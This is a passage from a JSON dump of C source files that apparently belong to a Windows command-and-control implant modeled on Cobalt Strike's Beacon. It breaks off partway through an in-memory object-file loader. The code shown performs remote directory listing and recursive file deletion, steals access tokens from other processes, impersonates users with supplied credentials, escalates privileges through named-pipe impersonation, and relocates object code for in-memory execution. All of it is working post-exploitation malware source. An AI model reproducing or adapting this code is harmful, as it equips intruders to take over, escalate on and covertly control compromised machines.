0x200000);\n\tBeaconFormatInt(&locals, reqno);\n\n#define SOURCE_DIRECTORY \"\\\\*\"\n\tif(!strncmp(filename, \".\" SOURCE_DIRECTORY, MAX_FILENAME))\n\t{\n\t\tGetCurrentDirectoryA(MAX_FILENAME, filename);\n\t\tstrncat_s(filename, MAX_FILENAME, SOURCE_DIRECTORY, STRLEN(SOURCE_DIRECTORY));\n\t}\n\n\tBeaconFormatPrintf(&locals, \"%s\\n\", filename);\n\tWIN32_FIND_DATAA findData;\n\tHANDLE firstFile = FindFirstFileA(filename, &findData);\n\n\tif(firstFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Could not open %s: %s\", filename, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDS(ERROR_LIST_OPEN_FAILED, lastError, filename);\n\n\t\tint size = BeaconFormatLength(&locals);\n\t\tchar* data = BeaconFormatOriginal(&locals);\n\t\tBeaconOutput(CALLBACK_PENDING, data, size);\n\t\tgoto cleanup;\n\t}\n\n\tSYSTEMTIME systemTime, localTime;\n\tdo\n\t{\n\t\tFileTimeToSystemTime(&findData.ftLastWriteTime, &systemTime);\n\t\tSystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);\n\n\t\tif (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n\t\t{\n\t\t\tBeaconFormatPrintf(&locals, \"D\\t0\\t%02d/%02d/%02d %02d:%02d:%02d\\t%s\\n\",\n\t\t\t\tlocalTime.wMonth, localTime.wDay, localTime.wYear,\n\t\t\t\tlocalTime.wHour, localTime.wMinute, localTime.wSecond,\n\t\t\t\tfindData.cFileName);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tBeaconFormatPrintf(&locals, \"F\\t%I64d\\t%02d/%02d/%02d %02d:%02d:%02d\\t%s\\n\",\n\t\t\t\t((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow,\n\t\t\t\tlocalTime.wMonth, localTime.wDay, localTime.wYear,\n\t\t\t\tlocalTime.wHour, localTime.wMinute, localTime.wSecond,\n\t\t\t\tfindData.cFileName);\n\t\t}\n\t} while (FindNextFileA(firstFile, &findData));\n\n\tFindClose(firstFile);\n\n\tint size = BeaconFormatLength(&locals);\n\tchar* data = BeaconFormatOriginal(&locals);\n\tBeaconOutput(CALLBACK_PENDING, data, size);\n\n\tcleanup:\n\tfree(filename);\n\tBeaconFormatFree(&locals);\n}\n\nBOOL FilesystemIsDirectory(char* filename)\n{\n\treturn GetFileAttributesA(filename) & FILE_ATTRIBUTE_DIRECTORY;\n}\n\nvoid FilesystemRemoveRecursiveCallback(const char* a1, const char* a2, BOOL isDirectory)\n{\n\tchar* lpPathName = (char*)malloc(0x4000);\n\t_snprintf(lpPathName, 0x4000, \"%s\\\\%s\", a1, a2);\n\tif (isDirectory)\n\t\tRemoveDirectoryA(lpPathName);\n\telse\n\t\tDeleteFileA(lpPathName);\n\tfree(lpPathName);\n}\n\nvoid FilesystemFindAndProcess(char* filename, WIN32_FIND_DATAA* findData)\n{\n#define MAX_FILENAME 0x8000\n\tchar* lpFileName;\n\n\tlpFileName = malloc(MAX_FILENAME);\n\tsnprintf(lpFileName, MAX_FILENAME, \"%s\\\\*\", filename);\n\tLPWIN32_FIND_DATAA lpCurrentFindFileData = findData;\n\tHANDLE hFindFile = FindFirstFileA(lpFileName, lpCurrentFindFileData);\n\tfree(lpFileName);\n\n\tif (hFindFile == INVALID_HANDLE_VALUE)\n\t\treturn;\n\n\tdo\n\t{\n\t\tif(lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n\t\t{\n\t\t\tif (strcmp(lpCurrentFindFileData->cFileName, \".\") && strcmp(lpCurrentFindFileData->cFileName, \"..\"))\n\t\t\t{\n\t\t\t\tchar* lpFileNameInternal = malloc(MAX_FILENAME);\n\t\t\t\tsnprintf(lpFileNameInternal, MAX_FILENAME, \"%s\", lpCurrentFindFileData->cFileName);\n\n\t\t\t\tlpFileName = malloc(MAX_FILENAME);\n\t\t\t\tsnprintf(lpFileName, MAX_FILENAME, \"%s\\\\%s\", filename, findData->cFileName);\n\t\t\t\tFilesystemFindAndProcess(lpFileName, findData);\n\t\t\t\tfree(lpFileName);\n\n\t\t\t\tFilesystemRemoveRecursiveCallback(filename, lpFileNameInternal, TRUE);\n\t\t\t\tfree(lpFileNameInternal);\n\t\t\t}\n\n\t\t\tlpCurrentFindFileData = findData;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tFilesystemRemoveRecursiveCallback(filename, lpCurrentFindFileData->cFileName, FALSE);\n\t\t}\n\t} while (FindNextFileA(hFindFile, lpCurrentFindFileData));\n\tFindClose(hFindFile);\n}\n\nvoid FilesystemRemoveDirectoryChildren(char* filepath)\n{\n\tWIN32_FIND_DATAA findData;\n\n\tFilesystemFindAndProcess(\n\t\tfilepath,\n\t\t&findData);\n}\n\nvoid FilesystemRemove(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tchar* filepath = BeaconDataStringPointerCopy(&parser, 0x4000);\n\tif (FilesystemIsDirectory(filepath))\n\t{\n\t\tFilesystemRemoveDirectoryChildren(filepath);\n\t\tRemoveDirectoryA(filepath);\n\t}\n\telse\n\t{\n\t\tDeleteFileA(filepath);\n\t}\n\tfree(filepath);\n}"
  },
  {
    "path": "Beacon/filesystem.h",
    "content": "#pragma once\n\nvoid FilesystemCd(char* buffer, int length);\nvoid FilesystemPwd();\nvoid FilesystemMkdir(char* buffer, int length);\nvoid FilesystemDrives(char* buffer, int length);\nvoid FilesystemMove(char* buffer, int length);\nvoid FilesystemCopy(char* buffer, int length);\nvoid FilesystemList(char* buffer, int length);\nvoid FilesystemRemove(char* buffer, int length);"
  },
  {
    "path": "Beacon/format.c",
    "content": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\nvoid BeaconFormatAlloc(formatp* format, int maxsz)\n{\n\tchar* buffer = (char*)malloc(maxsz);\n\tBeaconFormatUse(format, buffer, maxsz);\n}\n\nvoid BeaconFormatUse(formatp* format, char* buffer, int size)\n{\n\t*format = (formatp){ buffer, buffer, 0, size };\n}\n\nvoid BeaconFormatReset(formatp* format)\n{\n\t*format = (formatp){ format->original, format->original, 0, format->size };\n}\n\nvoid BeaconFormatAppend(formatp* format, char* text, int len)\n{\n\tif (format->size - format->length >= len)\n\t\treturn;\n\n\tif (len == 0)\n\t\treturn;\n\n\tmemcpy(format->buffer, text, len);\n\tformat->buffer += len;\n\tformat->length += len;\n}\n\nvoid BeaconFormatPrintf(formatp* format, char* fmt, ...)\n{\n\tva_list args;\n\tva_start(args, fmt);\n\n\tint len = vsnprintf(format->buffer, format->size - format->length, fmt, args);\n\tformat->buffer += len;\n\tformat->length += len;\n\n\tva_end(args);\n}\n\nvoid BeaconFormatFree(formatp* format)\n{\n\t/* note: we don't force memzero the buffer explicitly, as free is already overwritten to do that */\n\tfree(format->original);\n}\n\nvoid BeaconFormatInt(formatp* format, int value)\n{\n\tvalue = htonl(value);\n\tBeaconFormatAppend(format, (char*)&value, sizeof(int));\n}\n\nvoid BeaconFormatShort(formatp* format, short value)\n{\n\tvalue = htons(value);\n\tBeaconFormatAppend(format, (char*)&value, sizeof(short));\n}\n\nvoid BeaconFormatChar(formatp* format, char value)\n{\n\tBeaconFormatAppend(format, (char*)&value, sizeof(char));\n}\n\nchar* BeaconFormatOriginal(formatp* format)\n{\n\treturn format->original;\n}\n\nchar* BeaconFormatBuffer(formatp* format)\n{\n\treturn format->buffer;\n}\n\nint BeaconFormatLength(formatp* format)\n{\n\treturn format->length;\n}\n\nchar* BeaconFormatToString(formatp* format, int* size)\n{\n\tif (!size)\n\t\treturn NULL;\n\n\t*size = BeaconDataLength(format);\n\treturn BeaconDataOriginal(format);\n}\n"
  },
  {
    "path": "Beacon/identity.c",
    "content": "#include \"pch.h\"\n\n#include \"identity.h\"\n\n#include \"beacon.h\"\n#include \"thread.h\"\n\n\nHANDLE gIdentityToken;\nBOOL gIdentityIsLoggedIn;\n\nWCHAR* gIdentityDomain;\nWCHAR* gIdentityUsername;\nWCHAR* gIdentityPassword;\ndatap* gIdentityCredentialsParser;\n\n/**\n * Retrieves the username associated with the given token handle.\n *\n * @param hToken The handle to the token.\n * @param buffer The buffer to store the username.\n * @param size The size of the buffer.\n * @return Returns TRUE if the username is successfully retrieved, FALSE otherwise.\n */\nBOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size)\n{\n\tCHAR tokenInfo[0x1000];\n\tDWORD returnLength;\n\n\t// Get the token information for the given token handle.\n\tif (!GetTokenInformation(hToken, TokenUser, tokenInfo, sizeof(tokenInfo), &returnLength))\n\t\treturn FALSE;\n\n\tCHAR name[0x200] = { 0 };\n\tCHAR domain[0x200] = { 0 };\n\n\tDWORD nameLength = sizeof(name);\n\tDWORD domainLength = sizeof(domain);\n\n\t// Lookup the account SID to retrieve the username and domain.\n\tif (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenInfo)->User.Sid, name, &nameLength, domain, &domainLength, NULL))\n\t\treturn FALSE;\n\n\t// Format the username in the format \"domain\\username\" and store it in the buffer.\n\tsnprintf(buffer, size, \"%s\\\\%s\", domain, name);\n\tbuffer[size - 1] = 0;\n\treturn TRUE;\n}\n\nvoid IdentityRevertToken(void)\n{\n\tif (gIdentityToken)\n\t\tRevertToSelf();\n}\n\nvoid IdentityConditionalRevert(BOOL ignoreToken)\n{\n\tif (ignoreToken)\n\t\tIdentityRevertToken();\n}\n\nvoid IdentityImpersonateToken(void)\n{\n\tif (gIdentityToken)\n\t\tImpersonateLoggedOnUser(gIdentityToken);\n}\n\nvoid IdentityConditionalImpersonate(BOOL ignoreToken)\n{\n\tif (ignoreToken)\n\t\tIdentityImpersonateToken();\n}\n\nvoid IdentityGetUidInternal(HANDLE hToken)\n{\n\tchar userInfo[0x200];\n\tif (IdentityGetUserInfo(hToken, userInfo, sizeof(userInfo)))\n\t{\n\t\tchar uidString[0x400];\n\t\tsnprintf(uidString, sizeof(uidString), BeaconIsAdmin() ? \"%s (admin)\" : \"%s\", userInfo);\n\t\tBeaconOutput(CALLBACK_TOKEN_GETUID, uidString, strlen(uidString));\n\t}\n}\n\nvoid IdentityGetUid(void)\n{\n\tHANDLE hToken;\n\n\tif (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)\n\t\t|| OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))\n\t{\n\t\tIdentityGetUidInternal(hToken);\n\n\t\tCloseHandle(hToken);\n\t} else if (gIdentityToken)\n\t{\n\t\tIdentityRevertToken();\n\n\t\tIdentityGetUidInternal(gIdentityToken);\n\n\t\tIdentityImpersonateToken();\n\t} else\n\t{\n\t\tLERROR(\"Failed to open token\");\n\t\tBeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);\n\t}\n}\n\n/**\n * Apply the specified token as Beacon's current thread token.\n * Sets the token for the current thread and reports the new token to the user.\n *\n * @param token The handle to the token to be used.\n * @return Returns TRUE if the identity-related operations were successful, otherwise FALSE.\n */\nBOOL BeaconUseToken(HANDLE token)\n{\n\tstatic const int MAX_BUFFER = 0x100;\n\n\t// Allocate a buffer to store user information\n\tchar* buffer = malloc(MAX_BUFFER);\n\tmemset(buffer, 0, MAX_BUFFER);\n\n\tBOOL result;\n\tBeaconRevertToken();\n\n\t// Impersonate the logged-on user using the specified token\n\tif (!ImpersonateLoggedOnUser(token))\n\t{\n\t\tresult = FALSE;\n\t\tgoto cleanup;\n\t}\n\n\t// Duplicate the token with maximum allowed access rights\n\tif (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))\n\t{\n\t\tresult = FALSE;\n\t\tgoto cleanup;\n\t}\n\n\t// Impersonate the logged-on user using the duplicated token\n\tif (!ImpersonateLoggedOnUser(gIdentityToken))\n\t{\n\t\tresult = FALSE;\n\t\tgoto cleanup;\n\t}\n\n\t// Get user information from the token and store it in the buffer\n\tif (!IdentityGetUserInfo(gIdentityToken, buffer, MAX_BUFFER))\n\t{\n\t\tresult = FALSE;\n\t\tgoto cleanup;\n\t}\n\n\t// Report the new token to the user\n\tBeaconOutput(CALLBACK_TOKEN_STOLEN, buffer, strlen(buffer));\n\tresult = TRUE;\n\ncleanup: \n\t// Clear the buffer and free the allocated memory\n\tmemset(buffer, 0, MAX_BUFFER);\n\tfree(buffer);\n\n\treturn result;\n}\n\n/**\n * Drops the current thread token.\n * Use this over direct calls to RevertToSelf().\n * This function cleans up other state information about the token as well.\n */\nvoid BeaconRevertToken(void)\n{\n\t// If there an already stolen token, close its handle.\n\tif (gIdentityToken)\n\t\tCloseHandle(gIdentityToken);\n\n\t// Reset the token.\n\tgIdentityToken = NULL;\n\n\t// Revert to the self security context (that is, drop the stolen token from the current thread)\n\tRevertToSelf();\n\n\t// Free the memory allocated for the credentials format.\n\tif (gIdentityCredentialsParser) {\n\t\tBeaconFormatFree(gIdentityCredentialsParser);\n\t\tmemset(&gIdentityDomain, 0, IDENTITY_MAX_WCHARS_DOMAIN);\n\t}\n}\n\n/**\n * Checks if the current user running the code has administrative privileges.\n *\n * @return TRUE if Beacon is in a high-integrity context, FALSE otherwise.\n */\nBOOL BeaconIsAdmin(void)\n{\n\t// Define the SID_IDENTIFIER_AUTHORITY structure and initialize it with the SECURITY_NT_AUTHORITY constant.\n\tSID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;\n\n\t// Allocate and initialize a security identifier (SID) for the built-in administrators group.\n\tPSID sid;\n\tif (!AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid))\n\t\treturn FALSE;\n\n\t// Check if the current token (security context) is a member of the specified group SID.\n\tBOOL isAdmin;\n\tif (!CheckTokenMembership(NULL, sid, &isAdmin)) {\n\t\tFreeSid(sid);\n\t\treturn FALSE;\n\t}\n\n\t// Free the allocated SID and return the result.\n\tFreeSid(sid);\n\treturn isAdmin;\n}\n\nvoid IdentityLoginUserInternal(char* domain, char* username, char* password)\n{\n\tBeaconRevertToken();\n\tif(!LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &gIdentityToken))\n\t{\n\t\tint error = GetLastError();\n\t\tLERROR(\"Could not create token: %s\", LAST_ERROR_STR(error));\n\t\tBeaconErrorD(ERROR_CREATE_TOKEN_FAILED, error);\n\t\treturn;\n\t}\n\n\tif (!ImpersonateLoggedOnUser(gIdentityToken))\n\t{\n\t\tint error = GetLastError();\n\t\tLERROR(\"Failed to impersonate token: %s\", LAST_ERROR_STR(error));\n\t\tBeaconErrorD(ERROR_IMPERSONATE_TOKEN_FAILED, error);\n\t\treturn;\n\t}\n\n\tgIdentityCredentialsParser = BeaconDataAlloc(2048);\n\tgIdentityDomain = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_DOMAIN * sizeof(WCHAR));\n\tgIdentityUsername = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_USERNAME * sizeof(WCHAR));\n\tgIdentityPassword = BeaconDataPtr(gIdentityCredentialsParser, IDENTITY_MAX_WCHARS_PASSWORD * sizeof(WCHAR));\n\n\ttoWideChar(domain, gIdentityDomain, IDENTITY_MAX_WCHARS_DOMAIN);\n\ttoWideChar(username, gIdentityUsername, IDENTITY_MAX_WCHARS_USERNAME);\n\ttoWideChar(password, gIdentityPassword, IDENTITY_MAX_WCHARS_PASSWORD);\n\n\tgIdentityIsLoggedIn = TRUE;\n\tif (IdentityGetUserInfo(gIdentityToken, (char*)username, 1024))\n\t{\n\t\tBeaconOutput(CALLBACK_TOKEN_STOLEN, username, strlen(username));\n\t}\n}\n\nvoid IdentityLoginUser(char* buffer, int length)\n{\n#define MAX_DOMAIN 1024\n#define MAX_USERNAME 1024\n#define MAX_PASSWORD 1024\n\n\tdatap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);\n\tchar* domain = BeaconDataPtr(locals, MAX_DOMAIN);\n\tchar* username = BeaconDataPtr(locals, MAX_USERNAME);\n\tchar* password = BeaconDataPtr(locals, MAX_PASSWORD);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tif(!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))\n\t{\n\t\tLERROR(\"Failed to parse domain\");\n\t\treturn;\n\t}\n\n\tif(!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))\n\t{\n\t\tLERROR(\"Failed to parse username\");\n\t\treturn;\n\t}\n\n\tif(!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))\n\t{\n\t\tLERROR(\"Failed to parse password\");\n\t\treturn;\n\t}\n\n\tIdentityLoginUserInternal(domain, username, password);\n\tBeaconDataFree(locals);\n}\n\nvoid IdentityStealToken(char* buffer, int length)\n{\n\tint pid;\n\n\tif (length != sizeof(pid))\n\t\treturn;\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tpid = BeaconDataInt(&parser);\n\n\tHANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);\n\n\tif (!hProcess)\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Could not open process %d: %s\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);\n\t\treturn;\n\t}\n\n\tHANDLE hToken;\n\tif (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Could not open process token: %d (%s)\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_OPEN_PROCESS_TOKEN_FAILED, pid, lastError);\t\t\n\t\treturn;\n\t}\n\n\tBeaconRevertToken();\n\n\tif (!ImpersonateLoggedOnUser(hToken))\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Failed to impersonate token from %d (%s)\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_IMPERSONATE_STEAL_TOKEN_FAILED, pid, lastError);\n\t\treturn;\n\t}\n\n\tif(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Failed to duplicate token from %d (%s)\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_DUPLICATE_TOKEN_FAILED, pid, lastError);\n\t\treturn;\n\t}\n\n\tif (!ImpersonateLoggedOnUser(gIdentityToken))\n\t{\n\t\tint lastError = GetLastError();\n\t\tLERROR(\"Failed to impersonate logged on user %d (%s)\", pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED, pid, lastError);\n\t\treturn;\n\t}\n\n\tCloseHandle(hProcess);\n\n\tif (hToken)\n\t\tCloseHandle(hToken);\n\n\tchar accountName[0x200];\n\tif (IdentityGetUserInfo(gIdentityToken, accountName, sizeof(accountName)))\n\t{\n\t\tBeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));\n\t}\n}\n\nHANDLE hElevationToken;\nHANDLE hPrenamedPipe;\nHANDLE hPreelevationAuxThread;\nHANDLE hPrenamedPipe;\n\nvoid IdentityElevationThread(LPVOID lpThreadParameter)\n{\n#define MAX_TO_READ 128\n\n\twhile (!ConnectNamedPipe(hPrenamedPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED);\n\n\tchar toRead[MAX_TO_READ] = { 0 };\n\tDWORD read = 0;\n\tif(ReadFile(hPrenamedPipe, toRead, sizeof(char), &read, NULL))\n\t{\n\t\tif(ImpersonateNamedPipeClient(hPrenamedPipe))\n\t\t{\n\t\t\tHANDLE hCurrentThread = GetCurrentThread();\n\t\t\tif (OpenThreadToken(hCurrentThread, TOKEN_ALL_ACCESS, FALSE, &hElevationToken))\n\t\t\t{\n\t\t\t\tif(hPrenamedPipe)\n\t\t\t\t{\n\t\t\t\t\tDisconnectNamedPipe(hPrenamedPipe);\n\t\t\t\t\tCloseHandle(hPrenamedPipe);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t--gThreadsActive;\n}\n\nvoid IdentityElevatePre(char* buffer, int length)\n{\n#define MAX_NAME 0x100\n\tchar name[MAX_NAME];\n\tif (length > MAX_NAME)\n\t\treturn;\n\n\tsize_t end = length;\n\tmemcpy(name, buffer, length);\n\tname[end] = 0;\n\n\thElevationToken = INVALID_HANDLE_VALUE;\n\thPreelevationAuxThread = INVALID_HANDLE_VALUE;\n\thPrenamedPipe = CreateNamedPipeA(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 2, 0, 0, 0, NULL);\n\n\tif (hPrenamedPipe)\n\t{\n\t\thPreelevationAuxThread = CreateThreadEx(IdentityElevationThread, NULL);\n\t}\n}\n\nvoid IdentityElevatePost()\n{\n#define MAX_ACCOUNT_NAME 0x200\n\tchar accountName[MAX_ACCOUNT_NAME];\n\tif (hPreelevationAuxThread != INVALID_HANDLE_VALUE)\n\t{\n\t\tWaitForSingleObject(hPreelevationAuxThread, 15000);\n\t}\n\n\tif(hElevationToken == INVALID_HANDLE_VALUE)\n\t{\n\t\tLERROR(\"Failed to open token\");\n\t\tBeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);\n\t\treturn;\n\t}\n\n\tif (!ImpersonateLoggedOnUser(hElevationToken))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Failed to impersonate token: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_POST_IMPERSONATE_TOKEN_FAILED, lastError);\n\t\treturn;\n\t}\n\n\tgIdentityToken = hElevationToken;\n\tif (IdentityGetUserInfo(hElevationToken, accountName, sizeof(accountName)))\n\t\tBeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));\n}\n\nvoid IdentityGetPrivilegesInternal(char* buffer, int length, HANDLE hToken, formatp* locals)\n{\n\tTOKEN_PRIVILEGES tokenPrivileges = { 0 };\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort numPrivileges = BeaconDataShort(&parser);\n\n\tchar name[64];\n\tfor (int i = 0; i < numPrivileges; i++)\n\t{\n\t\tBeaconDataStringCopySafe(&parser, name, sizeof(name));\n\t\ttokenPrivileges.PrivilegeCount = 0;\n\t\ttokenPrivileges.Privileges[0].Luid.HighPart = 0;\n\n\t\tif (LookupPrivilegeValueA(NULL, name, &tokenPrivileges.Privileges[0].Luid))\n\t\t{\n\t\t\ttokenPrivileges.PrivilegeCount = 1;\n\t\t\ttokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\t\t\tif (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))\n\t\t\t{\n\t\t\t\tif (!GetLastError())\n\t\t\t\t{\n\t\t\t\t\tBeaconFormatPrintf(locals, \"%s\\n\", name);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid IdentityGetPrivileges(char* buffer, int length)\n{\n\tformatp locals;\n\tBeaconFormatAlloc(&locals, 0x8000);\n\tif(gIdentityDomain)\n\t{\n\t\tIdentityRevertToken();\n\t\tIdentityGetPrivilegesInternal(buffer, length, gIdentityToken, &locals);\n\t\tIdentityImpersonateToken();\n\t}else\n\t{\n\t\tHANDLE hToken;\n\n\t\tHANDLE hProcess = GetCurrentProcess();\n\t\tif(OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {\n\t\t\tIdentityGetPrivilegesInternal(buffer, length, hToken, &locals);\n\t\t\tCloseHandle(hProcess);\n\t\t}else\n\t\t{\n\t\t\tLERROR(\"Could not open process token\");\n\t\t\tBeaconErrorNA(ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED);\n\t\t}\n\n\t}\n\n\n\tif (BeaconDataLength(&locals))\n\t{\n\t\tint size = BeaconDataLength(&locals);\n\t\tchar* data = BeaconDataOriginal(&locals);\n\t\tBeaconOutput(CALLBACK_OUTPUT, data, size);\n\t}\n\n\tBeaconFormatFree(&locals);\n}"
  },
  {
    "path": "Beacon/identity.h",
    "content": "#pragma once\n\nextern HANDLE gIdentityToken;\nextern BOOL gIdentityIsLoggedIn;\n\n#define IDENTITY_MAX_WCHARS_DOMAIN 256\n#define IDENTITY_MAX_WCHARS_USERNAME 256\n#define IDENTITY_MAX_WCHARS_PASSWORD 512\n\nextern WCHAR* gIdentityDomain;\nextern WCHAR* gIdentityUsername;\nextern WCHAR* gIdentityPassword;\n\nvoid IdentityRevertToken(void);\nvoid IdentityImpersonateToken(void);\n\nvoid IdentityConditionalRevert(BOOL ignoreToken);\nvoid IdentityConditionalImpersonate(BOOL ignoreToken);\n\nvoid IdentityLoginUser(char* buffer, int length);\nvoid IdentityGetUid(void);\n\nvoid IdentityStealToken(char* buffer, int length);\n\nvoid IdentityElevatePre(char* buffer, int length);\nvoid IdentityElevatePost();\n\nvoid IdentityGetPrivileges(char* buffer, int length);"
  },
  {
    "path": "Beacon/inline_execute_object.c",
    "content": "#include \"pch.h\"\n\n#include \"inline_execute_object.h\"\n\n#include \"api.h\"\n#include \"beacon.h\"\n#include \"settings.h\"\n#include \"spawn.h\"\n\n\n// 1. Sections; 2. Relocations; 3. Symbols (hierarchy)\n\nstruct bapi;\n\ntypedef struct _RELOCATION\n{\n\tunsigned short r_type; // relocation type - r_type\n    union {\n        short section;\n        short function;\n    } sof;\n\tlong r_vaddr; //virtual address of the item to be relocated - r_vaddr\n\tunsigned long e_value; //value of the symbol - e_value\n} RELOCATION;\n\n// Relocate a 32-bit relative reference\n#define RELOC_REL32 20\n\n// Relocate a 32-bit absolute reference\n#define RELOC_ADDR32 6\n\n#define RELOC64_REL32 4\n\n#define RELOC_UNK_10 10\n\nBOOL ProcessRelocation(RELOCATION* relocation, char* code, char* img, char* pSection, unsigned long offsetInSection)\n{\n    // This is for the BOF to be able to call Win32 APIs\n    if (IS_X64() && relocation->r_type < RELOC_UNK_10)\n    {\n\t    const unsigned long long diff = *(unsigned long*)(code + relocation->r_vaddr) + (unsigned long long)(pSection + offsetInSection) - (unsigned long long)(img + relocation->r_vaddr + relocation->r_type);\n\n        // Check if the difference is too big to fit in a 32-bit signed integer\n        if (diff + (UINT_MAX / 2 + 1) > UINT_MAX)\n\t\t{\n            LERROR(\"Relocation truncated to fit (distance between executable code and other data is >4GB)\");\n            BeaconErrorNA(ERROR_RELOCATION_TRUNCATED_TO_FIT);\n            return FALSE;\n\t\t}\n\n\t\t*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + relocation->r_type);\n    } else if (!IS_X64() && relocation->r_type == RELOC_ADDR32)\n    {\n        *(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection);\n    }\n    else if (!IS_X64() && relocation->r_type == RELOC_REL32)\n    {\n        *(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + 4);\n    }\n    else\n    {\n        LERROR(\"Un-implemented relocation type %d\", relocation->r_type);\n        BeaconErrorD(ERROR_UNIMPLEMENTED_RELOCATION_TYPE, relocation->r_type);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n#define RDATA_SECTION_RELOC 1024\n#define DATA_SECTION_RELOC 1025\n#define EXE_SECTION_RELOC 1026\n#define DYNAMIC_FUNC_RELOC 1027\n#define MULTI_RELOC 1028\n\nvoid InlineExecuteObject(char* buffer, int length)\n{\n\tbapi *api = malloc(sizeof(bapi));\n\tBeaconAPI(api);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint entryPoint = BeaconDataInt(&parser);\n\n\tsizedbuf codePair;\n\tchar* code = BeaconDataLengthAndString(&parser, &codePair);\n\tint codeLength = codePair.size;\n\n\tsizedbuf rdataPair;\n\tchar* rdata = BeaconDataLengthAndString(&parser, &rdataPair);\n\n\tsizedbuf dataPair;\n\tchar* data = BeaconDataLengthAndString(&parser, &dataPair);\n\n\tsizedbuf relocationsPair;\n\tchar* relocations = BeaconDataLengthAndString(&parser, &relocationsPair);\n\n\tsizedbuf bytesPair;\n\tchar* bytes = BeaconDataLengthAndString(&parser, &bytesPair);\n\n\tchar* img = VirtualAlloc(NULL, codeLength, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);\n\tif (!img)\n\t{\n\t\tfree(api);\n\t\treturn;\n\t}\n    PROC* dynamicFunctionPtr;\n\n\tdatap relocationsParser;\n\tBeaconDataParse(&relocationsParser, relocations, relocationsPair.size);\n    \n\n    //Clean version:\n    for (RELOCATION* relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION)); \n        relocation->sof.section != MULTI_RELOC; \n        relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION)))\n    {\n        BOOL success;\n        if (relocation->sof.section == RDATA_SECTION_RELOC)\n        {\n            success = ProcessRelocation(relocation, code, img, rdata, relocation->e_value);\n        }\n        else if (relocation->sof.section == DATA_SECTION_RELOC)\n        {\n            success = ProcessRelocation(relocation, code, img, data, relocation->e_value);\n        }\n        else if (relocation->sof.section == EXE_SECTION_RELOC)\n        